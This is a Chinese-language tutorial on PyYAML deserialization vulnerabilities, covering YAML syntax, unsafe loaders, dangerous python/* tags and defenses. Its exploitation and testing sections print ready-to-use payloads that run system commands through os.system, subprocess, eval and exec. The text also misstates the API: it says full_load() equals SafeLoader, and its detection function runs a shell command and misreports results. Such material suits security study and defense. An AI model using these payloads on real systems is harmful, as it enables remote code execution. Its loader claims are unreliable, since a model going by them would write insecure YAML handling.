PyYaml反序列化漏洞详解
字数 1163 2025-08-18 11:35:59
PyYAML反序列化漏洞深度解析与防御指南
一、YAML基础概述
1.1 YAML简介
YAML("YAML Ain't Markup Language")是一种轻量级的数据序列化语言,设计目标是成为人类可读的数据交换格式。其特点包括:
- 文件扩展名通常为
.yml - 使用缩进表示层级关系(仅允许空格)
- 支持多种数据类型:标量、序列、映射
- 支持注释(
#开头)和引用
1.2 YAML基本语法
# 示例文档
person:
name: John
age: 30
address:
street: Main St.
city: Anytown
hobbies:
- reading
- hiking
1.3 YAML高级特性
- 多文档支持:使用
---分隔多个文档,...表示结束 - 数据类型:
- 标量:字符串、数字、布尔值
- 序列(列表):使用
-表示 - 映射(键值对):使用
:分隔
- 类型转换:使用
!!强制转换类型,如!!int "123" - 引用机制:使用
&定义锚点,*引用锚点
二、PyYAML序列化与反序列化
2.1 序列化方法
import yaml
data = {'key': 'value'}
yaml_data = yaml.dump(data) # Python对象 → YAML字符串
2.2 反序列化方法
PyYAML<=5.1版本:
data = yaml.load(yaml_data) # 默认使用不安全的Constructor加载器
data = yaml.load(yaml_data, Loader=yaml.Loader)
PyYAML>5.1版本:
# 安全加载器
data = yaml.load(yaml_data, Loader=yaml.SafeLoader)
data = yaml.full_load(yaml_data) # 等同于使用SafeLoader
# 不安全加载器
data = yaml.unsafe_load(yaml_data) # 可能执行任意代码
三、漏洞成因分析
3.1 漏洞根源
PyYAML<=5.1版本中,Constructor.py的make_python_instance()函数存在安全隐患:
def make_python_instance(self, suffix, node, args=None, kwds=None, newobj=False):
cls = self.find_python_name(suffix, node.start_mark)
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds) # 危险点:动态创建对象
else:
return cls(*args, **kwds) # 危险点:直接调用构造函数
3.2 危险标签
以下YAML标签可导致代码执行:
!!python/object!!python/object/new!!python/object/apply!!python/module!!python/name
四、漏洞利用技术
4.1 基础利用方式
# 执行系统命令
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
# 利用subprocess模块
!!python/object/apply:subprocess.Popen ["calc.exe"]
4.2 高级利用技术
# 利用builtins模块
!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('calc.exe')"]
# 利用类型转换漏洞
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
4.3 特殊场景利用
结合文件上传:
!!python/module:uploads.eval # 加载上传的恶意模块
绕过认证检查:
key: !!python/name:__main__.KEY # 直接引用程序中的变量
五、不同版本差异与防御
5.1 PyYAML<=5.1
- 默认使用不安全的
Constructor加载器 - 所有反序列化方法均存在风险
5.2 PyYAML>5.1
- 新增安全加载器:
SafeLoader:限制可加载的对象类型FullLoader:允许加载任意对象但更安全UnsafeLoader:等同于旧版的Loader
- 默认行为变更:
load()必须显式指定Loader参数- 新增
full_load()和unsafe_load()方法
5.3 防御措施
- 升级PyYAML:使用最新版本(>=5.4.1)
- 使用安全加载器:
yaml.safe_load(yaml_data) - 输入过滤:禁止加载用户提供的YAML中的危险标签
- 替代方案:考虑使用
ruamel.yaml等更安全的库
六、漏洞检测与验证
6.1 测试Payload
import yaml
# 基本测试
poc = '!!python/object/apply:os.system ["calc.exe"]'
try:
yaml.load(poc)
except:
pass
# 高版本绕过测试
poc = '''
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["print('Vulnerable')"]
'''
yaml.load(poc, Loader=yaml.UnsafeLoader)
6.2 自动化检测
def check_pyyaml_vuln():
try:
import yaml
from yaml import Loader
poc = '!!python/object/apply:os.system ["echo 1"]'
yaml.load(poc, Loader=Loader)
return "Vulnerable"
except:
return "Patched"
七、相关资源
- 官方修复提交:PR #386
- 安全公告:CVE-2020-1747
- 替代方案:ruamel.yaml
注:本文档仅供安全研究和防御参考,请勿用于非法用途。在实际生产环境中使用PyYAML时,务必采取适当的安全措施。